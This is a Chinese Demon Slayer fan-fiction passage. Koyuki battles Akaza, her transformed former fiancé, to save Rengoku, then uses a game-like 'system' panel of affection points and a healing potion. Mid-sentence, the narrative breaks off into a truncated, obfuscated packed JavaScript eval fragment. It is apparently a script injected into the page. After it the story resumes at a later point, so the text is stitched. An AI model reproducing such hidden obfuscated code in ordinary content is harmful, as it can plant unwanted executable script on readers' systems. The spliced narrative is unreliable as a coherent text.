他的目的是劝这个炎柱加入鬼的行列,竟然因为那忽然冒出来的女人而分了神。 他不屑于去攻击女人。 因此青蓝的拳风,仍是朝杏寿郎金橙色的日轮刀挥去—— 但一阵蓝光袭来,如同蚊蝇般扰乱了这战意淋漓尽致的一拳。 是刚才那个女人。 淡蓝与赤金交织,先是水之呼吸,而后又是炎之呼吸。 猗窝座红莲颜色的细眉皱起。看来这个女人会两种呼吸法。因为知道自己的境界不敌他和她的师父,所以一上来就拼命放出了绝技?这股拼命的勇气值得嘉奖。 但她根本命中不到他的脖子,只不过是拖延了自己给杏寿郎的一击而已。 他唇边扬起一抹不屑的笑:“我不杀女人,但你也不要挑战我的耐心,快离开这……” “狛治!”雪之呼吸她还在钻研,因此对上已经变上弦鬼的爱人,她优先使出已完全熟练的水呼和炎呼,“你能想起来吗,我是恋——”她眼中的梅花在泪光里颤抖,许多泪水顺着她纤柔面容滚落。 “素山,小心!”汹涌的打斗中,杏寿郎听不清恋雪对那恶鬼说了什么,只知道她此刻的处境极其危险。 “素山,快离开,你会被波及到的,这里有我对付他就够了!” “不,炼狱先生,狛……这个上弦他似乎不会对女人出手,我帮您牵制他。” “我的确不对女人出手。不过二打一,还是让一个弱者来帮你,杏寿郎,这可不是堂堂正正的举动。这是武者应有的品格吗?”鬼的金瞳中满是轻蔑,笑容攀满整张脸,好战而疯狂。 他的话如一把匕首在她心里越钻越深。 “随随便便瞧不起别人,说别人是弱者的你,才是失去了曾经身为武者的品格……!” 你以前从来不会这样看不起别人,即使我是一个久居病榻的病人,你也从来没有蔑视我、鄙夷我,而是日复一日地鼓励着我,支持着我。 恋雪的眼中泪花翻涌。 又是她。 她又在他和杏寿郎的对决中插嘴。 武者的品格?她也敢高谈阔论武者的品格,和在战斗中锤炼磨砺了百年的他? 距离甚近,他终于看清她眼中的泪水不是因为恐惧,而是悲伤。 居然是悲伤。 真是奇怪的女人。看见她的泪水,他竟无比烦躁。 越是与她对视,他心中的烦躁更深。她的眼泪,竟比她刚才对他一番不知天高地厚的嘲讽更令他心烦。 “炼狱先生,我和伊之助也来帮……!”远处,炭治郎挣扎着捂住伤口想要上前,伊之助也提起了双刀。 “不要过来,越动伤口会越破裂得越厉害,这里有我和素山就够了,素山能跟得上我和这个鬼的动作!” “真是感人的师徒情和队友情啊,你们就这么在一边说着潸然泪下的台词,完全无视我吗?”上弦之三将指节按得咯吱作响,金瞳看了杏寿郎一瞬,转而死死盯着恋雪,“既然这个女人非要加入,那也无妨,继续战斗吧!反正……一招之内,她就会被我的拳风轰出去了吧?” 不是出拳,而是用招式涌起的风浪将她击出战场,他自认已经对她这弱者足够怜悯,足够手下留情。 但出乎他意料,她仿佛有所预判,躲过了他的出招。 嗯? 那就试试破坏杀流闪群光—— 如果她还要命,就会赶紧离开,别再来烦他! 一片狂轰滥炸的青蓝鬼火在大地上涌起。 这一招流闪群光并非他的全力,如果使出全力,这个女人就没命了吧。他不屑于杀女人。但即使只有三四成力,她也根本躲不过,只会被气流轰开…… “素山!” “素山姐!” 喂,不会只用了这点力气还能出事吧,刚才不是还斗志高昂吗。 猗窝座金瞳一眯,打算出手拉她一把。 但…… 一道轻姿瘦影,宛如迅捷的惊鸿,从那疯狂的蓝光下俯身绕出,举刀向他攻来。 他的流闪群光只是收回了力量,速度并没有变。 她居然能…… 因为是女人,即使能做出预判,躯体的强度也跟不上吗。所以那白皙柔弱的脸还是被划了一瞬,留下一道赤红伤痕。 宛如雪中的红丝绸。 不知何故,他竟想伸手擦去她脸上的血痕。 啊,她的日轮刀砍到了他的上臂骨。 “哈哈,不错、不错,真是不错的反应和招式——”仿佛又发现一个合格的、陪他玩战斗游戏的玩具,如同疯狂的顽童,他唇边绽开深深酒窝,“不过你为什么不直接把我的手臂砍下来呢,刚刚你的刀明明可以把我的手砍下来吧,在犹豫什么,是女人就是这样心软吗?这可不行啊这位鬼杀队的素山小姐!” “第一次遇到能预判我攻势的人,有点像我的罗针呢,既然你这么执着,我就陪你玩玩吧怎么样?”鬼被青蓝光流映照着,仿佛狩猎前的花豹,金瞳眯起,侧过脸舔舐着臂上的血腥。 “放心,我不杀女人,只是……和你过一两招!”他妖邪地笑起,坚实的臂向前一伸,深蓝手指收紧,抓住了她握刀的腕。 而后—— 他拉着她的手,如同探戈舞的男伴一般,向后一跃,将她拉入月夜下的山林。 “不妙,这个鬼的注意力完全转移到素山身上去了!” 素山是他极富潜力的继子,只要假以时日,她很有可能是下一任的柱。但现在的她,能和那个上弦之三“过一两招”吗? 须臾间,他身影疾闪,一道金橙的烈焰宛如火龙涌入山林中。 5. 绑定可攻略人物猗窝座 他的手拉起她,他豹子般闪着灿金磷光的双目紧锁她。 鬼的一跃几乎与凌空无异,衬在眼前人身后的是遥远圆月,宛如银白镜底,镜中映出一张俊美又疯狂的脸。 猗窝座带着她疾速下落,降于密林之中。 “你还有什么招式全都用出来让我看看吧,能同时用两种呼吸法的人我好像没见过多少啊,”终于,他放下她的手,一跃到树顶之上,完全是等待好戏开场的姿态,“上一个好像还是五十年前的某一个柱,打了半天还是……被我一拳把他的脑子都给打了出来!”他当然不会杀她,不过是一看见她那又像隐忍又像悲悯的神情,他就很想、很想,激怒她。 为什么要用那么悲伤的目光看着他,仿佛他身负罪愆,走在什么歧路上——简直荒谬,谁有资格来审判他,谁有资格来审判上弦之三? 肉体凡胎的人类,没有资格审判比他们更高一等的生物。 越是看着她美丽面容,他的语言越发挑衅:“在树林里你还能施展你的身法吗,这里的场地很不方便吧,你……” 但那淡蓝的剑光早已攻到眼前。 心平气和。心中平静。只要足够平静,所有障碍都有如无物。这就是水之呼吸的真谛。 原来人在极度愤怒和悲伤的时候,真的会有前所未有的平静。 为什么你会变成鬼呢?是素流的惨案之后,你在绝望厌世的心境中被无惨趁虚而入吗?这一百多年你又是如何度过,每天、每天,都怀揣着空洞的心在世间游荡,日复一日进行着毫无意义的杀戮,漂浮在这无尽的苦海中? 她要杀了鬼舞辻无惨……她绝对会杀了鬼舞辻无惨! “哈哈,不错,速度比刚才更快了,”猗窝座的金瞳妖异瑰丽,此刻,又再泛出更幽深光芒,喉咙中滚动着难耐的吞咽声,“你的眼里终于有杀意了,真棒啊这位素山小姐,我还担心你不能放手一搏,让我尽兴呢!” 短短半秒,他粉红的眉又故作皱起:“不过……浑身散发着这么可怕的气势还是不愿意真的攻击我吗?素山小姐,你是在走神吗?” 他徒手抓住她的日轮刀。 “既然你不把注意力放在我身上,那就别怪我反击了素山小姐——” 轰一声,上弦之三的拳猛然击打在她的日轮刀上。 不好,要是再被击中几次的话,她的刀大概就会碎了。 恋雪牙关紧咬,一片莲华的火焰顺着她刀锋绽放而出。 “这次是炎之呼吸吗,真是漂亮的招式,不过对我来说有点华而不实呢。” 除了一开始被她在胸膛上划出一道血痕,接下来他每次都可以闪身躲过。 甚至好几次,他故意从她的刀锋下穿过,攻到她眼前,极度地贴近她。 “素山,你为什么会流泪?”恶鬼游刃有余,优游地笑起,抬手擦去她眼边未干的泪水。距离之近,他红莲颜色的长睫几乎轻触到她绒绒鸦睫。 “无所谓,你不告诉我也没有关系,我特别喜欢和人说话,总有方法问出来。”一瞬间,他又回复了战斗的姿态。 “破坏杀……空式!” 他的攻击仍向着她的日轮刀袭来。 虽然她堪堪躲过,但拳风依然将她的刀锋擦钝。不行,她的力量不及炼狱先生,她的炎之呼吸对狛治来说攻击力不够,而且他的血鬼术似乎可以预判敌人的攻击,单向攻击很难击中他。 她下不去手攻击他的脖子,既然狛治现在有对战的兴致,那就拖延到天亮,让他自行离去。距离天亮,还有……大概四十分钟。 单向攻击难以命中他的话,就用那一招。 恋雪握紧刀,深吸一口气。 “雪之呼吸,二之型……” “嗯,雪之什么?我杀的那些柱里没见过有用雪之呼吸的,是你自己开创的吗?”他金瞳中的兴趣越来越浓。 但下一刻,猗窝座的笑容凝固了。 浅青、绀蓝、青金,漫天花火的华光包围着他,照亮他爬满罪人刺青的面容。 这招和青银乱残光的斗气辉芒,几乎一模一样。 这是他最钟爱的招式。他的招式大多取名自人类社会他极少数感兴趣的东西之一:烟花。而青银乱残光,正是其中最像漫天花火的一式。 她怎么敢模仿他的青银乱残光? 花火光影之下,无数剑气擦过他胸膛、四肢,在他身上留下道道血迹。但他只是巍然不动地站着,待那伤口自行恢复。 猗窝座笑意不再,脸色冷了下来:“模仿别人的招式很光荣吗,素山小姐?我还是让你见识一下真正的青银乱残光吧怎么样?” 他已然恼怒,但仍收着几成力。 巨大的青蓝雪花瞬间在他脚下铺展,一息之间,沿着他拳风轰出的青光如烟花盛放,万花千蕊,极致耀目,光的乱流狂暴肆虐。 青银乱残光只出三成力也绝不会有人可以闪避。 反正她昏迷在这山林里,鬼杀队的后勤也会来找她。 但辉煌的青色花火中,依然冲出一道文弱身影。 苍白的脸,纤弱的脸。沾了血色的脸,意志坚定的脸。 “谁会去……模仿血鬼术!那是我自己的呼吸法,雪国万华镜,”她脸上又挂伤一道,“因为我喜欢烟花。青银乱残光不也是烟花的名字吗,那个时候,我们……” 她居然能把青银乱残光也避开,只是留下一点擦伤?他金瞳中闪过一丝颤动,但旋即手背一碰,顷刻将她的日轮刀击打粉碎。别管了,再待下去太浪费时间了。 “本来觉得和你过两招还挺有趣,但既然你只是个模仿者,我的兴致全都坏了。” 哐一声,他坚实的臂随意一挥,她的断刀转瞬被抛到一边。 “我还有任务在身,让让吧,素山小姐,”猗窝座微微笑起,“我还要去把你的鬼杀队队友,全部,杀光。” 刀都断了,这个女人还能拿他怎么样? 但他刚要离去,一记直拳打到了他后心。 “喂,你真是冥顽不灵啊,我这不是放你一马了吗,你竟然还……” 鬼俊美的脸上浮出一个冰冷的笑:“等一下,你连我的武技也要模仿吗?” 一手握拳在腰,一手推掌向前。和他一模一样的起手式。 月照山林,珠光雪色的脸点染了血迹。须臾,眼前纤柔的人将掌也握成待发的拳式:“狛治,我不会让你……再伤害别人。” 模仿他的武道也就罢了,狛治又是谁?啊,说起来,似乎从见面起,她就一直用这个奇怪的名字称呼他。怒意重新涌起,甚至不足半秒,他已回敬一拳,青蓝拳风顺着她皎洁脖颈擦过。 虽然只是在虚空处划过,但这一拳也足够恐怖。若非闪避及时,恋雪怀疑她立即就会瘫倒在地。 冷静,调整呼吸,看清对方的攻势。 看准时机,凝神,进攻,她一拳打在他的胸膛。 一百年前的午后,他轻轻捧着她的脸,将她带到他白大理石般的胸膛上,听他的心跳。 原来鬼的心脏也依然有着跳动。 “居然敢赤手空拳和我战斗,还能打中我,不错。不过你的力量就这么点吗?” “破坏杀,乱式!”厉鬼一跃而起,蓝光呼啸。 她能看清他的动作,但要跟上他的速度、逐一拆招化解,体力会极大地消耗。虽然斩破魇梦的幻境还有在列车上救人花了些力气,但没关系,她可以,她能做到,只要拖延到天亮…… 而且,父亲的素流拳法,明明只要遵从本心,力量就已经足够强大。为何要给它冠上破坏杀那么恐怖血腥的名头? 大约也有听见他篡改素流之名的愤懑,她的拳越来越准。十招之内,七八招都拳拳到肉。 然而鬼的身体是地狱道中业火炼就,胜过钢筋铁骨百倍,打中了他,她也感到相等力量的痛楚。转眼,她双拳已满是伤痕,甚至有血流下。 对面的人虽然不出拳到她身上,血鬼术卷涌起的风波也有着足够恐怖的破坏力。 任是如此,她仍拼命支撑这力量极其悬殊的对决,在月下山林身影疾闪,与他对抗了百余招。 真是努力。 鬼的瑰丽金瞳暗下,在风浪一隙间注视着她。 她的身体强度虽然不够,但速度出奇的快,而且几乎可以预判他的大部分招式。难道她也能模糊地看到那至高的境界吗? 可惜有这样的天资,却要模仿别人的武道—— 不对,她的招式似乎不是在模仿他。 她的拳法更加古朴,精简而纯直。比起模仿,更像和他师出同源。或者说……是他的招式从她的拳法中发展衍生而来。 这怎么可能! 鬼的额头青筋浮起,庞然烦躁充斥在他心中。 但烦躁之下,他的心竟涌起一股兴奋,兴奋得,他整个人都在微微颤抖。仿佛在百年虚无中跋涉,终于遇到了一个知音。漩涡中的红莲等到分海而来的赏花者,一座荒野中的废园注视着误闯它腹地的旅客。 比他的思考更快一步的是他身体的反应。 转眼,她的双手被他紧紧囚在掌中。游戏是时候结束了。再打下去,他怕自己兴致愈高,出手过重。 咫尺相对,猗窝座的眼神幽深莫名。 终于,上弦之三哼笑道:“你是有情报所以模仿了我的招式吗?先是青银乱残光,然后又是武技。”琵琶女分享给他的信息里,无限列车上也有一个鬼杀队员识破了下弦一那个废物的招数。原来就是她。 这样瘦弱的身体,即使修行武道又如何呢,很快就会遇到瓶颈了吧?他其实很为她惋惜。不过,如果……她成为鬼的话,想必就能克服这柔弱的缺陷,和他一起,永远磨砺下去。 “你叫什么名字,素山恋什么?” “虽然一直模仿我的招式,但你还算有潜力,告诉我你的名字。”这是百年来,他第一次想知道一个女人的姓名。 “我没有模仿你的招式,是你从前在我们家的道场修行了素流的拳法。狛治,我们以前认识,我是恋……”拼尽全力和上弦之三一斗,她的体力已消耗大半,此刻只是勉力支撑着身体,甚至呼吸过度。 什么叫他在她家的道场学习了拳法?一派荒唐的胡言。 更令人不爽的是: 又是狛治。她一而再再而三叫错他的名字。是他们鬼杀队内部情报有误,导致她错认了他的名字? 极力忽视心中的怪异,那道粉红的细眉挑起。他松开双手,直接打断了她的话。 “素流是什么,我的流派是我自己在百年磨炼中独自开创的、世间巅峰的武艺,岂会借鉴你们人类的雕虫小技。而且——我叫猗窝座,你最好,稍微地,尊重一下我。” 然而看着她疲惫模样,他心中的恼意也散去了。 “算了,你先告诉我你的名字。”见她半跪在地,他烦躁地挠了挠一头粉发,又再向她伸出手。 他不过想拉她起来,但眼前人秀眉紧皱,似乎不解他难得的好意,而是单手撑着泥地,摇摇晃晃地,想要自己站起来。 是觉得和他人鬼有别,还是被他嘲讽了一番那所谓的素流所以心怀不满?他恶童般的玩心又起了,如果他非要去扶她,她又能拿他怎么样? 但比她双手冰凉触感更早到来的,是炎呼的极热火焰。 赤金炎火如龙。猗窝座的双手转眼被砍下。 “素山你没事吧!”杏寿郎一把将恋雪的手拉起,将她护在自己身后。那上弦鬼的速度极快,一直带着素山在林中四处转移,他来晚了一步。 “喂,这是你们的师门传承吗……你也和这位叫错别人名字、对别人的好心不领情的素山小姐一样没礼貌啊炎柱,没看到我在和她说话?你就这么冲过来打断别人交谈么。” 双手迅速再生,指节按得嘎吱作响。猗窝座额上青筋暴起,他对炼狱杏寿郎的称呼,甚至已经从惜才般称呼对方杏寿郎变成了只有炎柱二字。 “炼狱先生,左边!” 杏寿郎当即反应,带着恋雪向左跃去,不断使出炎呼的招式,直到二人从山林退出。 “没力气回答我的问题,但有力气提示你师父?”猗窝座紧随其后,破坏杀的光浪凶猛击出,他张狂笑着,“你跟着炎柱修炼的上限也不过一个柱而已,还不如变成鬼才能发挥你的潜力!” “素山是不会变成鬼的,不要再用你那污浊不堪的心来揣度鬼杀队的意志!”赤金炎火映着杏寿郎英轩轮廓。 虽然很感人,但是,这,炼狱先生您的话完全把狛治激怒了…… “炼狱先生,他是个武痴,不会去伤害列车上的平民,天快亮了,我们尽量拖延他就好,”恋雪连忙解释,“他的再生速度很恐怖,血鬼术也可以预判别人的进攻,不要和狛治硬碰硬,天快亮了他就会离……” “喔,这个上弦还有两个名字吗,又叫猗窝座又叫狛治,实在是花哨啊。” “拖延到天亮,真是不错的计策,不过你们就这么当着我的面议论我真的好吗?” 汹涌的风浪再次袭来,但这一次力度更甚,恋雪紧急交叉双臂抵挡,仍被推至了远处。 “素山,我就让你见识一下是当人还是当鬼更好怎么样?看看是我先把炎柱杀了,还是太阳先出来!” 破坏杀的蓝光如同陨石。 糟了,是那招流闪群光,他动真格了。 赤金的炎虎一往无前,将青蓝的光焰格挡,地上顿时凹陷出大大小小的坑洞。 不愧是炼狱先生,好精纯的炎之呼吸。炼狱先生虽然在列车上的战斗消耗了体力,但方才她与狛治对战拖延了时间,炼狱先生应该已经趁那点空隙恢复了些许,可以吗,还剩二十多分钟,只要牵制狛治到天亮……然而烟雾散去,她的双眼一点一点暗下来。 杏寿郎额头上满是鲜血。与他对战的猗窝座,却仍是满脸张狂暴戾的笑。 狛治的精力始终是全满的。鬼根本不会疲惫。 他说他要杀炼狱先生,他说的是真的。 “素山姐!” 身后,炭治郎和伊之助已经跑了过来,将她扶起。 “炭治郎君,把你的日轮刀给我,”恋雪抹去颊边血迹,终于站稳,“我要去,帮炼狱先生……!” “素山姐,你、你的手还能拿刀吗?” 被炭治郎一说,恋雪才察觉到一股巨大的疼痛沿着她双掌蔓延而上,整条手臂都是麻的。 她手上鲜血淋漓。 与狛治对战的每一招她都是贯注全力,如今稍稍平定,那剧烈的疼痛才从她肌肉中苏醒。一个不得不承认的现实摆在恋雪面前,现在的她,和已经成为上弦之三的狛治之间有着形如天堑的差距。 “没关系,我可以,我……” “什么没关系啊,我和权八郎去帮大眼珠子,武道女人你就好好在这里休息吧!” 然而一片风浪自猗窝座和杏寿郎对战处卷来,险些将炭治郎和伊之助刮倒。上弦之三和炎柱的对决,根本不是现在的恋雪和炭治郎他们可以插手。 又一片狂暴的蓝光向四面八方轰出。 “炼狱先生!”恋雪双瞳猛然一缩。 在青银乱残光中寻找空隙进攻,杏寿郎的肩膀、胸腹已然负伤,流血不止。 但这并没有结束,猗窝座的下一式很快便蓄势待发。 狛治他完全想不起来以前的事情,炼狱先生身上还有伤,怎么办、怎么—— 明明那声音无比熟悉,此刻从远处传来,却如天魔的低语落入她耳中。 “差点忘了,我得到的命令是要把无限列车上的所有鬼杀队队员给杀了。虽然素山我可以放过她,不过其余三名猎鬼人的话,就在杀了你后顺手杀掉吧。” “能找到一个知晓至高之境的素山,还能斩杀像你这样的斗气磅礴的柱,我今天很尽兴……”他狠戾笑起,已摆开起手式,“只是有一件事情有点遗憾。在你死前,告诉我素山的名字是什么,她刚才没有回答我。” “我不会让你伤害我身后的任何一个人,你也不要再一口一个素山,玷污我引以为傲的后辈的名字,”杏寿郎举起日轮刀,炯炯双目如同黄金铸造,“我会完成我的职责,不会让这里任何一个人死去,炎之呼吸,奥义,炼狱。”披着一层金橙火光的男人神色沉着,眼神坚毅,金发和火边的披风向后扬起,一如火中熊熊燃烧的太阳神。 “是吗,那就……破坏杀,灭式!” 大地上两道悍烈光芒碰撞,辉煌炎浪卷起,直冲云天。 但那辉煌盛大的光芒下,逐渐传来血肉撕裂的声音。 无数鲜血飞溅。 眼前的一切仿佛在恋雪、炭治郎、伊之助三人面前静止了。 杏寿郎腹上的伤口已经完全被上弦之三贯穿。 鲜血淋漓的窟窿洞穿他的腹,饶是如此,他仍用这无可挽回的伤口作为陷阱,紧紧锁住猗窝座的臂。他一手按住猗窝座想要抽离的手臂,一手紧握日轮刀,在猗窝座脖子上发力。 素山,你就来当我的继子吧! 素山, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他出手杀了她师父,她应该相当愤怒吧,是不是已经把他视作了死敌?也好,下次再和她对决,她应该就会被这股仇恨驱使着,爆发出更强大的力量。很好、不错,用仇恨,他为自己绑定了一个极有潜力的对手。她会追杀他直到天涯海角,一次又一次让他见证武道的突破,他会和这个难得的对手共沐沸腾血海之中! 然而他定睛细看。 她眼中没有愤怒和仇恨。 是悲悯。 她竟然,还用最初的神情看着他。 悲悯之中,还有……失望。 为什么,为什么,为什么?为什么! 为什么用那样的眼睛看着她,他不用她怜悯,她又凭什么对他失望,成王败寇,既然炼狱杏寿郎不愿意变成鬼,用凡人之躯和他搏斗,死亡就是炼狱杏寿郎自找的—— 他没有错,他追求了百年的至高武道没有错。 那双泪眼只看了他一刻,目光很快转移到前方的炎柱身上。 天亮了。 “不准逃,你这个卑鄙小人!” 鬼杀队少年的日轮刀远远掷来,穿过他的胸膛。隐没在山林阴影的前一刻,他回头看见的是她流泪侧颜,她扶起那个炎柱,用自己的外套为对方包扎。那低垂的洁白的侧脸,如同庙宇中优婉忧愁神像。 庙宇,神像? 如果世间真有神明,为何漫天神佛不曾听见他的心声? 算了,真是可笑。他在想什么,他怎么会有过神前祈求的时刻。 上弦之三猗窝座,消失在山林无边的阴暗中。 * 【攻略人物绑定进度100%,绑定已成功,初始大礼包已发放。宿主如要使用道具,请在心中默念,道具会自行出现在宿主的衣物口袋或身边。】 她伸手,果然在口袋中摸到一剂药水。 “药、药,是药……!炼狱先生不要闭眼,吃这个药!”恋雪连忙打开瓶塞。 透明的药剂微微润湿了杏寿郎的唇。 几人身后,善逸已快步大跑赶到。他气喘吁吁:“是心跳……心跳的声音!炼狱先生的心跳恢复了!虽然很微弱,但他活过来了!” “炼狱先生!” “大眼珠子!” 大喜过望,早已哭成泪人的炭治郎和伊之助眼中聚涌更多泪水,又似乎想起什么,赶紧将眼泪抹去,一人一边将杏寿郎扶住,好让恋雪喂他饮下更多药剂。 【对濒死人物使用生命回药剂时,请宿主注意此人头顶的生命值读条提示。濒死人物生命值会迅速降低,请加快服药速度。】 果然,炼狱先生一头灿烂金发上出现了一个小小的条状长方形,一大半是空白,一小半是红色,红色正以飞速在消减。 “糟了,炼狱先生现在意识昏迷太严重了,药灌不下去!” 那只好……! “抱歉了炼狱先生,事后我会向您赔罪的!”恋雪强行把杏寿郎的嘴掰开,“炭治郎君,麻烦你把药倒进来,快一点,快一点!这个药它有时间限制!善逸君你也过来扶住炼狱先生,不要让药洒了!” “好、好的……包在我身上!”炭治郎接过药剂,赶紧往杏寿郎口中灌去。 一分钟后。 “咳、咳咳……唔呣!” “喂权八郎你把大眼珠子呛到了吧! “啊啊啊炭治郎你这家伙怎么回事啊!” “对、对不起炼狱先生,我太紧张了一直在手抖!” 虽然四人慌慌张张,一点也不从从容容,但药好歹一滴不剩灌完了。 那飞速减少的红色读条渐渐回升,终于停在五分之一处。然后扑簇扑簇地,化作无数白色小翅膀消散。 盘坐在地上的人缓缓睁开了双眼。 怎么回事,他还……他还活着? 朝阳的光照到杏寿郎脸上。还没等他熟悉晨曦阳世中模糊的一切,先感受到两颗脑袋扑入他怀中,棕红和黄色。背后,硬邦邦的鬃毛也在顶着他。嗯,大概是那个猪头少年的头套。 “大家不要把炼狱先生抱得这么紧呀,炼狱先生身上还有伤口……”身旁传来女孩带着哭腔的无奈笑声。 他引以为傲的继子努力想抹去眼边泪水,但和他目光相对时,依然再度流下泪来。 他好像,在另一个世界走了一趟。 黑暗尽头曾经出现一片亘古静谧的白光。但另一端忽然伸出四双手,拉住他缀着火焰的披风。 白光前,母亲轻声对他道:回去吧杏寿郎,你重视的弟子和那三名少年很努力地救了你呢。母亲温柔的手,将他轻轻地,从白光的入口推开了。黑暗也迅速在他身侧飞逝、远去。 阳光照入他的眼,人间的一切终于清晰起来。 他没有力气,也暂时说不出话来,只好微微笑着,拍了拍怀中炭治郎和善逸的头,伊之助凑过来时,也得到了他宽厚掌心的拍抚。 “素山,谢……”勉强地,杏寿郎终于从干涩的喉咙里挤出一个句子。 “炼狱先生,请您先好好休息,不用这么急着和大家说话!”无论抹去多少泪水,依然有眼泪从恋雪眼中滚落,“是我该谢谢您才对,要是我再强一点就好了,要是我能牵制住他就好了,是炼狱先生保护了大家,我没能、没能和他作战到底,明明修行了那么久,我的力量还是不够,我太弱小,我……” “素山,你已经很努力了。”他轻声说着。 我知道,你似乎认识他,你很为难。但你依然冒着巨大的风险和他战斗。 犹豫了一秒,杏寿郎没有将后面这句话说出来。 泪光中,她敬爱的师长在晨曦里微笑着,抬手擦去了她的眼泪。 看着恋雪自责的神情,炭治郎大声道: “素山姐你很了不起,面对上弦之三,依然勇敢地和炼狱先生并肩作战!那个猗窝座不过是站在他人血肉堆砌的峰巅上自高自大,自以为强悍,实则虚伪卑鄙,一看到阳光就跑了,而你是堂堂正正地和他对决,下次,你一定可以……一定可以打败他!” “就是就是,武道女人下次一定可以堂堂正正把那个什么狗窝座打得落花流水!” “什么武道女人啊,伊之助你用敬语好不好……” 恋雪低下头,眼泪滚滚滴落。 对不起,对不起,大家。 我没有堂堂正正。 看到他成功躲过阳光的时候,我心中闪过了一丝庆幸。 即使他变成了鬼,我依然…… 6. 好感度上升了! 鬼是可以感化的吗? 鬼是可以回头的吗? 光是看笔画已经十分复杂的爱字,难道真可以解构为一场攻略、一堆数字? 思索间,她脑海中的声音又再响起。 【请宿主查看攻略面板。】 【攻略人物:上弦之三,猗窝座。】 【好感度:10。】 【已知信息:身为上弦之三的鬼,化鬼时间已有百年。擅长赤手空拳的武技。提示,如果宿主需要知道更多信息,请在后续和此人物的相处、交往中探索。】 好感度十?该说他是真的已经失忆了对她只剩十好感度好呢,还是他都失忆了还对她有十好感度好呢? 【好感度10在此攻略人物的主要人际关系网络中已属于较高的好感度,宿主可以查看详细信息。】 【猗窝座对鬼舞辻无惨好感度:0。】 【猗窝座对上弦之一好感度:-30。】 【猗窝座对上弦之二好感度:-90。】 【猗窝座对上弦之四好感度:-60。】 【猗窝座对上弦之五好感度:-60。】 【猗窝座对上弦之六好感度:-80。】 【猗窝座对炼狱杏寿郎好感度:-30。】 【猗窝座对灶门炭治郎好感度:-60。】 系统为她展示的狛治对其他人的好感度列表中,清一色的灰色。只有对她的好感是鲜明的红。或许,她可以理解为即使他变成了鬼,她在他心里也还算有一些特殊之处吗。 总之,现在看来她还是狛治心中好感度最高的人了。 最好笑的是,狛治对鬼舞辻无惨的好感度是零。 而且,初见时一直那么烦人地劝炼狱先生变成鬼,好感度居然是负数吗……还有狛治对炭治郎君这个好感度也太危险了吧!看来以后要想办法别让他们碰面了。 唉,狛治这工作氛围真不怎么样,毫无同僚之情可言。他变成鬼之后,似乎也不像那天满脸张扬笑意般,看似喜悦。 她又继续看下去。 所谓的初始大礼包里不止药剂,还有别的奖励。一眼扫去,有日轮刀一把,位于东京的小型宅邸一座。 说起日轮刀,恋雪这才想起她的日轮刀是出自钢铁冢先生之手。 不妙不妙,不会被那位暴脾气的匠人先生斥责一顿吧?应该,大概,不会的,尽管只见过两次面,但她相信钢铁冢先生只是嘴硬心软而已,一定是这样。 恋雪按捺下那不祥的猜想,继续阅览脑海中的面板。 角落里还有一个奇怪的道具。 【恭喜宿主达成隐藏成就“小小上弦,轻松拿捏”,即危险系数极高的攻略人物开局对宿主自带好感。】 【隐藏道具“他一定在发呆吧!”光环已发放。使用后,身为十二鬼月的攻略人物和宿主相处时可免疫上级鬼和鬼舞辻无惨的监视。视界共享画面将自动替换为无意义风景,监视者会认为攻略人物在一人独处、神游天外。附赠效果,思想监控时,监视者无法察觉攻略人物对宿主的恋慕想法。】 本来,系统用古井无波的声音说出这漫才般的成就和道具名字,她应当会觉得好笑。 但望着窗外夜色渐渐沉下,她心海中浮起的唯有一片忧愁。 上级鬼和鬼舞辻无惨可以监视狛治的生活甚至思想。 仿佛他是一个傀儡,一件工具。 夜幕降至,百鬼夜行,他如今是否正穿行于夜色之中,被鬼王掌间落下的丝线牵引着,被一双恐怖的眼睛注视着,又去完成什么任务? 她垂下姣好忧愁的眼,在脑海中轻声回复道:“确认使用,请立刻就使用这个道具。” 只是二人相处时又怎么够,如果能帮他完全摆脱鬼舞辻无惨就好了。 【叮。攻略对象正在对鬼舞辻无惨复命时回想宿主,好感度+2,目前好感度12。】 【叮。攻略对象正在对鬼舞辻无惨复命时回想宿主,好感度+3,目前好感度15。】 果然,他去向鬼舞辻无惨复命了。 但无限列车上无一人伤亡,全员平安存活,狛治没能完成那所谓的任务,按理说应当会被鬼舞辻无惨痛斥责难。为何他对自己的好感还、呃,有所上升?她不相信在那个邪恶的魔鬼治下,下属任务失败也能无事发生。 唯一的可能,大概就是狛治哥哥真的对鬼辻舞无惨毫无敬意,即使被对方斥责,也可以神游天外在想别的事情。这就是好感度零的态度吗! 嗯,他一定是在发呆吧。 又过了十分钟。 【叮,攻略对象正在树林打碎灶门炭治郎日轮刀时回想宿主,好感度+2,目前好感度17。】 明明她什么也没干,却连续两三次好感度自行上升。 真是男人心海底针。 不过,刚刚说的狛治在发呆的话可能要收回了。 才过了十分钟就要出来打碎炭治郎君的日轮刀,看来也不是被斥责后毫无怨气呀。唉,变成鬼之后,他反而不及一百年前稳重了呢。明明从前隔壁的剑道道场怎么挑衅他,他都可以听从父亲的指引,不轻易动用暴力解决问题,沉着而冷静。 思绪逐渐飘远。 复活三年,她不是没思考过那桩命案。向井水投毒的,大概就是一直觊觎他们土地的隔壁道场吧。 一百年前素流的惨案后,他有没有去奉行所报官?下毒的凶手,最后有没有被惩治? 她最担心的是在阶级分明的江户,奉行所草草了事,他铤而走险,以暴制暴。 其实很可能就是那样。狛治他去到对方道场,以直报怨杀了那个下毒之人,双臂上本就有了三圈刺青的他,又添了一重命案,于是彻底成为社会的边缘人,最后被“收编”为鬼。加入鬼杀队这么久,她也大致了解过鬼舞辻无惨挑选了许多罪人和厌世者化鬼。 他现在没有为人时的记忆,下次见面时去问他大约也问不出什么吧。 如果那时候她和爸爸一起陪他去给父亲扫墓就好了。 如果那时候大家一起出远门就好了。 如果她再健康一点,是不是能和爸爸互相扶持着去到医馆,得到救治? 难道命运真的不能容错,稍有不慎,一切就如多米诺骨牌般疯狂崩塌而去?为什么会这样呢,明明他们一家人什么也没有做错。 她抹了抹眼睛。 总之经过两次积累,好感度已然十七。本来就在那所谓的人际关系网中遥遥领先,现在更是一骑绝尘。 好吧,狛治哥哥,我暂且原谅我们重逢时你的张狂和无礼了。 “恋雪,炼狱先生他已经没什么问题了,休养一个月左右应该可以完全康复。” 一个淡粉羽织的紫发女子向她走来,面上是温柔笑意。 虫柱,蝴蝶忍。 